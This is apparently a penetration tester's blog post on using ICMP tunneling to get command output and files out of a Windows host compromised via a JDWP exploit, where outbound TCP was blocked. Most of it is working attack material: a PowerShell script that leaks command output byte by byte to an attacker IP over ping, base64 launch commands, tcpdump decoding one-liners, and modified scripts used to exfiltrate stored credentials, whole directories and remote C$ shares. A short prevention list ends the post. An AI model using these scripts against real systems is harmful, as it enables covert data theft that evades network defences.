Technical Insights into ICMP Tunneling

Introduction

Recently, I was doing a penetration test and I came across a rare and unique obstacle. We could run blind commands on the machine and also ICMP traffic was allowed but TCP traffic was blocked. Let’s dive into how I overcame these challenges by using ICMP Tunneling

What is ICMP Protocol?

The Internet Control Message Protocol (ICMP) serves as a protocol for reporting errors, utilized by network devices like routers. Its primary function is to generate error messages directed to the source IP address when issues in the network hinder the delivery of IP packets. ICMP is responsible for crafting and dispatching messages back to the source IP address, highlighting issues like the unavailability of an internet gateway such as router, service, or host for successful packet delivery. Devices operating within an IP network are equipped with the ability to send, receive, and process ICMP messages.

ICMP stands as a key protocol within the IP suite, yet it is distinct from transport layer protocols like TCP (Transmission Control Protocol) and UDP (User Datagram Protocol). Being a connectionless protocol, ICMP enables a device to send a message without the necessity of initiating a connection with the recipient device. This is in contrast to protocols like TCP, where establishing a connection is must before message transmission, ensuring both devices are ready via a TCP handshake.

What is ICMP Tunneling?

ICMP tunneling refers to a technique used to encapsulate and send network traffic, often considered to be covert or unauthorized, within ICMP (Internet Control Message Protocol) packets. This method is typically employed to bypass network security measures like firewalls and intrusion detection systems that may not scrutinize ICMP packets as closely as they do other types of network traffic, such as TCP or UDP packets.

Here’s a breakdown of how ICMP tunneling works:

  1. Encapsulation of Data: Data that is meant to be sent covertly is encapsulated within ICMP packets. This can include various types of traffic, like regular internet data or command and control communications for malware.
  2. Transmission through Firewalls: Because ICMP is primarily used for diagnostic and control purposes (like ping requests and replies), many firewalls are configured to allow ICMP traffic to pass through. By utilizing ICMP packets, the encapsulated data can often pass through network security perimeters undetected.
  3. Decapsulation and Use: At the receiving end, the ICMP packets are intercepted, and the encapsulated data is extracted and used. This could be a part of a command and control operation for malware or simply a method to access network resources without detection.

ICMP tunneling is considered a security risk because it can be used to evade network security measures. It is a technique often associated with network reconnaissance, exfiltration of sensitive data, or maintaining control over compromised systems in a covert manner.

Getting Remote Code Execution (RCE) on the machine

There was a vulnerability in Java Debub Wire Protocol (JDWP) on one of the machines through which we could execute commands using the exploit:

https://github.com/IOActive/jdwp-shellifier

image01

As the vulnerability is out of scope for this blog post, I will not dive deep into this vulnerability or the exploit. However, if you want more information on this, then you can check out this blog article:

https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Using the above exploit, we can even run commands, but we cannot see the output of the commands. To verify that the commands are being run successfully, I started tcpdump to check if there is any traffic and then ran the ping command:

image02

As you can see, we get traffic on tcpdump.

Therefore, we have verified that the commands are being run. Now the problem was on how to get the output for these commands. I tried hosting a python3 http.server and tried to run curl command via the exploit on the victim machine but I was not getting a hit on the server. So maybe only ICMP traffic was allowed and TCP traffic could be blocked.

Getting command output via ICMP Tunneling

I came across a way to get command output via icmp:

https://gist.github.com/jobertabma/e9a383a8ad96baa189b65cdc8d74a845

However, the commands given above were for linux. Therefore, I converted the command in second step into a powershell script with a bit of help from ChatGPT:

$ip = "10.0.2.15"
# Clear the $Error variable to ensure we're capturing new errors
$Error.Clear()
# Executing a command and capture the output
$commandOutput = hostname
# Capture any errors that occurred
$errorOutput = $Error | Out-String
$Error.Clear()  # Clear the $Error variable again to avoid capturing previous errors
# Send the command output as ICMP requests
$commandOutput.ToCharArray() | ForEach-Object {
    Test-Connection -ComputerName $ip -Count 1 -BufferSize ([System.Text.Encoding]::ASCII.GetBytes($_)[0])
}
# Send the error output as ICMP requests
$errorOutput.ToCharArray() | ForEach-Object {
    Test-Connection -ComputerName $ip -Count 1 -BufferSize ([System.Text.Encoding]::ASCII.GetBytes($_)[0])
}

I have uploaded the above script on my GitHub Repository as well:

https://github.com/RaucousThrone3/ICMPTunneling/blob/main/ICMPOutput.ps1

I converted the above script into base64, using the command:

cat output.ps1 | iconv -t utf-16le | base64 -w 0

image03

Then I ran tcpdump to capture the output on my kali using the command:

tcpdump -nni any -e icmp[icmptype] == 8 -w hostname.cap

image04

I then copied the base64 output and used the exploit again and typed the command:

powershell.exe -enc [base64encodedscript]

image05

Then, I stopped the tcpdump, and ran the following command to get the output:

tcpdump -ttttnnr hostname.cap | awk '{print $NF}' | while read ord; do printf "\\$(printf '%03o' "`expr $ord - 8`")"; done; echo

image06

However, there were quite a few issues with this method as only 37 packets were being sent at a time and to get rest of the characters as output was taking really long.

Making the ICMP Tunneling technique better and faster

I came across another tool that can exfiltrate files over ICMP:

https://github.com/RedSiege/Egress-Assess

However, when I tried to base64 encode this script and tried to run it on the victim machine, it was not executing as expected. Upon further investigation, I found that the base64 encoded value was too long to be passed as an argument in Powershell.

Therefore, I got to modifying the script to make it smaller. I have uploaded the modified script on my GitHub page:

https://github.com/RaucousThrone3/ICMPTunneling/blob/main/modifiedEgressAssessICMP.ps1

In the above script, I put the command that I want to execute in the commandsOutput variable. Then, I am saving the output of that command in the commandsoutput.txt file and exfiltrating that file.

When I base64 encoded the above script, it worked, and PowerShell did not have any issues anymore running that base64 encoded script.

However, the Python script in the Egress-Assess tool also had a few issues. The icmp_server.py was decoding the data as UTF-8 but it was giving an error so I changed UTF-8 to LATIN-1.

image07

Also, the python script was listening on eth0 interface by default. As I had VPN access to the environment, it was not capturing traffic on the cscotun0 interface. Therefore, I had to specify the interface in the code itself:

image08

After doing the above changes, I started Egress-Assess.py by using the command:

python3 Egress-Assess.py --server icmp

Then, I base64 encoded the modified EgressAssess.ps1 script and ran it on the victim machine using the jdwp exploit:

image09

As you can see, we get commandsoutput.txt file in our attacker machine.

Inspecting the contents of commandsoutput.txt file gets us the output of the “cmdkey /list” command:

image10

Also, I saw that there are many files in the current directory, therefore, I modified the EgressAssess.ps1 script further to send all the files in a specified directory instead of sending files one by one to the attacker machine. Again, the modified script is uploaded on my GitHub repository:

https://github.com/RaucousThrone3/ICMPTunneling/blob/main/modifiedAllFilesEgressAssess.ps1

By using this script, I was able to exfiltrate all the files in the current directory:

image11

From the bloodhound output, I had seen that the user I was executing commands as is a local admin on other machines. Therefore, I tried to access c$ share on the machines and on one of them I could access the share by putting the following command in the modified script:

ls \\MACHINE-02.DOMAIN.LOCAL\c$

image12

Therefore, using the above techniques, you can also exfiltrate files from other machines that the user has admin access to.

Prevention Mechanisms

  1. Block malicious endpoints and domains discovered through threat intelligence at the perimeter
  2. Configure firewall to block outbound pings to external endpoints
  3. Allow fixed-size ICMP packets to pass through the firewalls
  4. Use Deep Packet Inspection (DPI) technologies in firewalls and intrusion detection/prevention systems. DPI can examine the content of ICMP packets, helping to identify and block packets that contain unusual or unexpected data.

References

Disclaimer

The content of this blog is for educational and informational purposes only. Readers are responsible for using the information ethically and in compliance with all relevant laws. The author is not liable for any misuse of the information provided. Ethical and legal compliance is the sole responsibility of the reader.

Varun Gupta
Varun Gupta